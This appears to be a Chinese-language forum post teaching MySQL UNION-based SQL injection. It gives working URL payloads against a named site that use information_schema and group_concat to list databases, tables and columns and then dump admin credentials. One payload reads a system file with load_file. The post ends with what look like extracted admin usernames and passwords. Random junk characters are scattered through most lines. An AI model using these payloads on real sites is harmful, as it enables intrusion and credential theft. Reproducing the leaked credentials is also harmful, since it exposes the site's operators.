此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
( N) V ^* M- r( o; E* ^但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
, _, r2 u7 f+ c
0 o$ J4 w' v0 j8 k z& g% C: e8 u! A8 t5 ~
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入6 c( [, R; K: r+ O- m
6 o# T. c: d5 J1 U1 Y0 a5 D2 Y1 A+ C
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢..." Z9 P1 |% j. W" u5 a
9 o1 Z; p% P% N; m" N" m8 f, H/ O下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
# w0 i6 k) p1 K/ W" B# D8 V在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等6 W% p& g$ L1 ^. ~6 f
+ B8 U0 L/ ?, a3 c6 y- D, Whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
2 x$ b- h/ b" V5 y& x: s
) N; ^! z, K' d9 g' R, J读出所有库:( O } ^& n' A2 D
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
) U* ^5 M# u& W9 O9 Q; M2 y' `. f2 X- e7 F& o" _$ Y q8 h5 c* a
6 Z( |* g M6 ^3 K; r
: [& h) D, c: v$ k t# D+ D
读出所有表:
v) n5 m+ z/ c- M2 ahttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
9 ]. B: ^9 D+ q4 ^- M3 i7 I
& x5 r& j- z) Q+ X: h/ y* I读出所有表字段:
, b, I; J2 d- Dhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)$ ]: n" P7 i; ^
*/ (97,100,109,105,110)为admin的ascii码 依次类推( B1 e3 @: L2 \
: v! D+ x0 {3 g1 O读出所有表字段里的内容:6 f/ V6 z, X- {# d
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin9 w3 @2 M( [( n2 H
# q( W3 }$ X6 |6 m1 M: [ o
" }' D+ N. q) U, n; F1 p/ I# N! o3 R, c H: i0 y
5 o5 {. m" C0 R* I8 l0 n0 p
# {0 E& L: z2 L( f1 ]4 c/ S# v
; U& I0 b1 J$ Whttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
; `# t7 E7 V& G, ]7 J, M( o, F; A( O; t
% ~3 t7 A5 f; I; z# G0 a0 P* e7 _
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23; |" h- ^* f+ g8 U$ C" f' v
; T2 `$ ~3 z1 T1 ?
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%237 a% ]9 ]: {1 j) }4 Q* b* Y s9 h
: j: P0 m; X6 G+ H/ H, V
4 B4 j& R. o/ [0 n. ^( b! y, z2 C$ zhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%233 R9 P( G) b ~) R, E. W
! X* i, n5 c" u( i: K
2 e% `5 I. n' ]- ^8 e webmaster:dzb521123,simlab:simadmin20043233
$ ~* s$ s& v6 I4 y5 G# o |